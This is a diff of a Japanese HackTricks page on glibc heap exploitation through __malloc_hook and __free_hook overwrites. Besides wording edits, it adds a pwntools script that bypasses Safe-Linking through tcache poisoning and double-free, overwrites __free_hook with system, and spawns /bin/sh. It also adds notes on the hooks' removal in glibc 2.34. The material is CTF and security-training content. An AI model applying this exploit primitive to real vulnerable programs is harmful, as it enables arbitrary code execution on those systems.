diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md index 18e63095f..47129171b 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md @@ -1,12 +1,12 @@ -# WWW2Exec - \_\_malloc_hook & \_\_free_hook +# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** -公式GNUサイトにあるように、変数**`__malloc_hook`**は、`malloc()`が呼び出されるたびに呼び出される**関数のアドレスを指すポインタ**であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが**One Gadget**で上書きされ、`malloc`が呼び出されると、**One Gadgetが呼び出されます**。 +公式GNUサイトにあるように、変数 **`__malloc_hook`** は **`malloc()` が呼び出されるたびに呼び出される関数のアドレスを指すポインタ** であり、**libcライブラリのデータセクションに格納されています**。したがって、このアドレスが例えば **One Gadget** で上書きされ、`malloc` が呼び出されると、**One Gadgetが呼び出されます**。 -mallocを呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`を呼び出すことで、libcがヒープにそれらを割り当てるためにmallocを呼び出すように、非常に多くのバイトを割り当てることができます**。 +`malloc` を呼び出すには、プログラムがそれを呼び出すのを待つか、**`printf("%10000$c")`** を呼び出すことで、`libc` がヒープにそれらを割り当てるために `malloc` を呼び出すように、非常に多くのバイトを割り当てることができます。 One Gadgetに関する詳細は以下を参照してください: @@ -15,7 +15,7 @@ One Gadgetに関する詳細は以下を参照してください: {{#endref}} > [!WARNING] -> GLIBC >= 2.34ではフックが**無効になっている**ことに注意してください。最新のGLIBCバージョンで使用できる他の技術があります。参照: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)。 +> フックは **GLIBC >= 2.34 では無効化されています**。最新のGLIBCバージョンで使用できる他の技術があります。参照: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md)。 ## Free Hook @@ -25,11 +25,11 @@ One Gadgetに関する詳細は以下を参照してください: ../libc-heap/unsorted-bin-attack.md {{#endref}} -バイナリにシンボルがある場合、次のコマンドで`__free_hook`のアドレスを見つけることができます: +バイナリにシンボルがある場合、次のコマンドで `__free_hook` のアドレスを見つけることができます: ```bash gef➤ p &__free_hook ``` -[この投稿](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)では、シンボルなしでフリーフックのアドレスを特定する手順を説明しています。要約すると、free関数内で: +[この投稿](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html)では、シンボルなしでフリーフックのアドレスを特定する方法についてのステップバイステップガイドを見つけることができます。要約すると、free関数内で:
gef➤  x/20i free
 0xf75dedc0 : push   ebx
@@ -43,11 +43,11 @@ gef➤  p &__free_hook
 0xf75deddd :  jne    0xf75dee50 
 
-前述のコードのブレークポイントで、$eaxにはフリーフックのアドレスが格納されます。 +前述のコードのブレークポイントで、`$eax`にはフリーフックのアドレスが格納されます。 次に、**ファストビン攻撃**が実行されます: -- まず、**`__free_hook`**の場所でサイズ200のファスト**チャンク**を扱うことができることが発見されます: +- まず、**`__free_hook`**の場所でサイズ200のファスト**チャンク**を扱うことが可能であることが発見されます: -
gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -56,15 +56,80 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f :      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 
-- この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能です。 +- この場所でサイズ0x200のファストチャンクを取得できれば、実行される関数ポインタを上書きすることが可能になります。 - そのために、サイズ`0xfc`の新しいチャンクを作成し、そのポインタを使ってマージされた関数を2回呼び出します。こうすることで、ファストビン内のサイズ`0xfc*2 = 0x1f8`の解放されたチャンクへのポインタを取得します。 - 次に、このチャンクの編集関数を呼び出して、このファストビンの**`fd`**アドレスを前の**`__free_hook`**関数を指すように変更します。 -- その後、サイズ`0x1f8`のチャンクを作成して、ファストビンから前の無駄なチャンクを取得し、さらにサイズ`0x1f8`のチャンクを作成して、**`__free_hook`**内のファストビンチャンクを取得し、**`system`**関数のアドレスで上書きします。 -- 最後に、文字列`/bin/sh\x00`を含むチャンクを解放し、削除関数を呼び出すことで、**`__free_hook`**関数がトリガーされ、`/bin/sh\x00`をパラメータとしてsystemを指します。 +- その後、サイズ`0x1f8`のチャンクを作成して、ファストビンから前の無駄なチャンクを取得し、さらにサイズ`0x1f8`のチャンクを作成して**`__free_hook`**内のファストビンチャンクを取得し、**`system`**関数のアドレスで上書きします。 +- 最後に、文字列`/bin/sh\x00`を含むチャンクを削除関数を呼び出して解放し、**`__free_hook`**関数をトリガーし、`/bin/sh\x00`をパラメータとしてsystemを指すようにします。 + +--- + +## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33) + +glibc 2.32は**Safe-Linking**を導入しました。これは、**tcache**およびファストビンで使用される*単一*リンクリストを保護するための整合性チェックです。生のフォワードポインタ(`fd`)を保存する代わりに、ptmallocは次のマクロで*難読化*されたものを保存します: +```c +#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr)) +#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr) +``` +悪用の結果: + +1. **heap leak** は必須です - 攻撃者は有効な難読化ポインタを作成するために `chunk_addr >> 12` のランタイム値を知っている必要があります。 +2. *完全な* 8バイトポインタのみが偽造可能です; 単一バイトの部分上書きはチェックを通過しません。 + +したがって、glibc 2.32/2.33で `__free_hook` を上書きする最小のtcache-poisoningプリミティブは次のようになります: +```py +from pwn import * + +libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") +p = process("./vuln") + +# 1. Leak a heap pointer (e.g. via UAF or show-after-free) +heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00")) +heap_base = heap_leak & ~0xfff +fd_key = heap_base >> 12 # value used by PROTECT_PTR +log.success(f"heap @ {hex(heap_base)}") + +# 2. Prepare two same-size chunks and double-free one of them +a = malloc(0x48) +b = malloc(0x48) +free(a) +free(b) +free(a) # tcache double-free ⇒ poisoning primitive + +# 3. Forge obfuscated fd that points to __free_hook +free_hook = libc.sym['__free_hook'] +poison = free_hook ^ fd_key +edit(a, p64(poison)) # overwrite fd of tcache entry + +# 4. Two mallocs: the second one returns a pointer to __free_hook +malloc(0x48) # returns chunk a +c = malloc(0x48) # returns chunk @ __free_hook +edit(c, p64(libc.sym['system'])) + +# 5. Trigger +bin_sh = malloc(0x48) +edit(bin_sh, b"/bin/sh\x00") +free(bin_sh) +``` +上記のスニペットは、*UIUCTF 2024 – «Rusty Pointers»* および *openECSC 2023 – «Babyheap G»* の最近のCTFチャレンジから適応されたもので、どちらも `__free_hook` を上書きするためにSafe-Linkingバイパスに依存していました。 + +--- + +## glibc ≥ 2.34 で何が変わったのか? + +**glibc 2.34 (2021年8月)** 以降、アロケーションフック `__malloc_hook`、`__realloc_hook`、`__memalign_hook` および `__free_hook` は **公開APIから削除され、アロケーターによって呼び出されなくなりました**。互換性のあるシンボルはレガシーバイナリ用にエクスポートされていますが、それらを上書きしても `malloc()` や `free()` の制御フローには影響しません。 + +実際の影響:現代のディストリビューション(Ubuntu 22.04+、Fedora 35+、Debian 12 など)では、フックの上書きが静かに失敗するため、*他の* ハイジャックプリミティブ(IO-FILE、`__run_exit_handlers`、vtableスプレーなど)に移行する必要があります。 + +デバッグのために古い動作がまだ必要な場合、glibc はレガシーフックを再有効化するためにプリロードできる `libc_malloc_debug.so` を提供していますが、このライブラリは **本番環境向けではなく、将来のリリースで消える可能性があります**。 + +--- ## 参考文献 - [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) - [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). +- Safe-Linking – 20年のmalloc()エクスプロイトプリミティブの排除 (Check Point Research, 2020) +- glibc 2.34 リリースノート – mallocフックの削除 {{#include ../../banners/hacktricks-training.md}}